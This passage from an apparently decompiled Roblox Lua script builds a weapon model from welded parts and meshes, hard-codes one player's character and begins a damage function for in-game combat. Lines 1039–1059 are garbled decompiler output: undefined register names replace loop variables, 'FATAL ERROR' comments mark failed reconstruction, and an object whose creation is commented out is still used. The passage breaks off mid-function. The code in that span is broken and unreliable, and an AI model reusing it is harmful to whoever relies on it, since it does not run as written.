953 | ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744)) | |
954 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
955 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993)) | |
956 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
957 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974)) | |
958 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694)) | |
959 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989)) | |
960 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667)) | |
961 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974)) | |
962 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974)) | |
963 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019)) | |
964 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
965 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
966 | ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024)) | |
967 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981)) | |
968 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
969 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
970 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
971 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
972 | MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
973 | MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074)) | |
974 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
975 | ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639)) | |
976 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003)) | |
977 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
978 | ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804)) | |
979 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
980 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993)) | |
981 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
982 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974)) | |
983 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881)) | |
984 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989)) | |
985 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667)) | |
986 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974)) | |
987 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974)) | |
988 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019)) | |
989 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
990 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
991 | ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024)) | |
992 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981)) | |
993 | CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
994 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
995 | CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
996 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
997 | MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
998 | MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083)) | |
999 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
1000 | ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888)) | |
1001 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005)) | |
1002 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
1003 | ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489)) | |
1004 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
1005 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
1006 | ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176)) | |
1007 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
1008 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
1009 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932)) | |
1010 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003)) | |
1011 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932)) | |
1012 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
1013 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932)) | |
1014 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015)) | |
1015 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932)) | |
1016 | MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
1017 | MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023)) | |
1018 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
1019 | ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888)) | |
1020 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005)) | |
1021 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
1022 | ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608)) | |
1023 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
1024 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
1025 | ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176)) | |
1026 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
1027 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
1028 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813)) | |
1029 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003)) | |
1030 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813)) | |
1031 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
1032 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813)) | |
1033 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015)) | |
1034 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813)) | |
1035 | MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "White", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
1036 | MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0)) | |
1037 | local CBlade = {} | |
1038 | local CBladeWelds = {} | |
1039 | for _,c in pairs(m:children()) do | |
1040 | if c.className == "Part" then | |
1041 | table.insert(CBlade, R67_PC6072) | |
1042 | end | |
1043 | end | |
1044 | for _,c in pairs(m:children()) do | |
1045 | if c.className == "Weld" then | |
1046 | table.insert(CBladeWelds, R67_PC6072) | |
1047 | print(R66_PC6093) | |
1048 | end | |
1049 | end | |
1050 | -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg' | |
1051 | ||
1052 | -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg' | |
1053 | ||
1054 | --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "White", R66_PC6093, R67_PC6072(5, 0.200000003, 5)) | |
1055 | -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg' | |
1056 | ||
1057 | -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg' | |
1058 | ||
1059 | HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0)) | |
1060 | CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3)) | |
1061 | FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "White", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013)) | |
1062 | FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
1063 | Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "White", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019)) | |
1064 | PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1)) | |
1065 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5)) | |
1066 | Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "White", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019)) | |
1067 | PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1)) | |
1068 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1)) | |
1069 | TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "White", "TornadoHat", Vector3.new(3, 0.400000006, 3)) | |
1070 | TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
1071 | CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5)) | |
1072 | local DBlade = {} | |
1073 | local DBladeWelds = {} | |
1074 | for _,c in pairs(demon:children()) do | |
1075 | if c.className == "Part" then | |
1076 | table.insert(DBlade, c) | |
1077 | end | |
1078 | end | |
1079 | for _,c in pairs(demon:children()) do | |
1080 | if c.className == "Weld" then | |
1081 | table.insert(DBladeWelds, c) | |
1082 | print(c) | |
1083 | end | |
1084 | end | |
1085 | demon.Parent = nil | |
1086 | ||
1087 | paly = game.Players.ThatProGamerKilledU | |
1088 | char = paly.Character | |
1089 | torso = char.Torso | |
1090 | neck = char.Torso.Neck | |
1091 | hum = char.Humanoid | |
1092 | Player = game:GetService("Players").ThatProGamerKilledU | |
1093 | Character = Player.Character | |
1094 | tors = Character.Torso | |
1095 | lleg = Character["Left Leg"] | |
1096 | root = Character.HumanoidRootPart | |
1097 | hed = Character.Head | |
1098 | rleg = Character["Right Leg"] | |
1099 | rarm = Character["Right Arm"] | |
1100 | larm = Character["Left Arm"] | |
1101 | local Effects = {} | |
1102 | attack = false | |
1103 | vt = Vector3.new | |
1104 | bc = BrickColor.new | |
1105 | br = BrickColor.random | |
1106 | it = Instance.new | |
1107 | cf = CFrame.new | |
1108 | euler = CFrame.fromEulerAnglesXYZ | |
1109 | angles = CFrame.Angles | |
1110 | matr = math.random | |
1111 | local basiccooldown = math.huge | |
1112 | local ultcooldown = math.huge | |
1113 | local secondcooldown = math.huge | |
1114 | local thirdcooldown = math.huge | |
1115 | ||
1116 | local boll = Instance.new("Part",game.Lighting) | |
1117 | boll.Transparency = 0.5 | |
1118 | boll.Material = "Neon" | |
1119 | boll.BrickColor = tors.BrickColor | |
1120 | boll.Anchored = true | |
1121 | boll.Size = vt(1,1,1) | |
1122 | boll.Shape = "Ball" | |
1123 | boll.CanCollide = false | |
1124 | ||
1125 | local shur = Instance.new("Part",game.Lighting) | |
1126 | shur.Transparency = 0 | |
1127 | shur.Material = "Neon" | |
1128 | shur.BrickColor = tors.BrickColor | |
1129 | shur.Anchored = true | |
1130 | shur.Size = vt(5,0.2,5) | |
1131 | shur.CanCollide = false | |
1132 | local Meshshur = Instance.new("CylinderMesh",shur) | |
1133 | ||
1134 | ||
1135 | local boll = Instance.new("Part",game.Lighting) | |
1136 | boll.Transparency = 0.5 | |
1137 | boll.Material = "Neon" | |
1138 | boll.BrickColor = bc("Bright red") | |
1139 | boll.Anchored = true | |
1140 | boll.Size = vt(1,1,1) | |
1141 | boll.Shape = "Ball" | |
1142 | boll.CanCollide = false | |
1143 | ||
1144 | local shur = Instance.new("Part",game.Lighting) | |
1145 | shur.Transparency = 0 | |
1146 | shur.Material = "Neon" | |
1147 | shur.BrickColor = bc("Bright red") | |
1148 | shur.Anchored = true | |
1149 | shur.Size = vt(5,0.2,5) | |
1150 | shur.CanCollide = false | |
1151 | local Meshshur = Instance.new("CylinderMesh",shur) | |
1152 | ||
1153 | Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) | |
1154 | if hit.Parent==nil then | |
1155 | return | |
1156 | end | |
1157 | h=hit.Parent:FindFirstChild("Humanoid") | |
1158 | for _,v in pairs(hit.Parent:children()) do | |
1159 | if v:IsA("Humanoid") then | |
1160 | h=v | |
1161 | end | |
1162 | end | |
1163 | if hit.Parent.Parent:FindFirstChild("Torso")~=nil then | |
1164 | h=hit.Parent.Parent:FindFirstChild("Humanoid") | |
1165 | end | |
1166 | if hit.Parent.className=="Hat" then | |
1167 | hit=hit.Parent.Parent:findFirstChild("Head") | |
1168 | end | |
1169 | if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then | |
1170 | if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end | |
1171 | --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then | |
1172 | return | |
1173 | end]] | |
1174 | -- hs(hit,1.2) | |
1175 | c=Instance.new("ObjectValue") | |
1176 | c.Name="creator" | |
1177 | c.Value=game:service("Players").ThatProGamerKilledU | |
1178 | c.Parent=h | |
1179 | game:GetService("Debris"):AddItem(c,.5) | |
1180 | Damage=math.random(minim,maxim) | |
1181 | -- h:TakeDamage(Damage) | |
1182 | blocked=false | |
1183 | block=hit.Parent:findFirstChild("Block") | |
1184 | if block~=nil then | |
1185 | print(block.className) | |
1186 | if block.className=="NumberValue" then | |
1187 | if block.Value>0 then | |
1188 | blocked=true | |
1189 | if decreaseblock==nil then | |
1190 | block.Value=block.Value-1 | |
1191 | end | |
1192 | end | |
1193 | end | |
1194 | if block.className=="IntValue" then | |
1195 | if block.Value>0 then | |
1196 | blocked=true | |
1197 | if decreaseblock~=nil then | |
1198 | block.Value=block.Value-1 | |
1199 | end | |
1200 | end | |
1201 | end | |
1202 | end | |
1203 | if blocked==false then | |
1204 | -- h:TakeDamage(Damage) | |
1205 | h.Health=h.Health-Damage | |
1206 | showDamage(hit.Parent,Damage,.5,TorsoColor) | |
1207 | else | |
1208 | h.Health=h.Health-(Damage/2) | |
1209 | showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue")) | |
1210 | end | |
1211 | if Type=="Knockdown" then | |
1212 | hum=hit.Parent.Humanoid | |
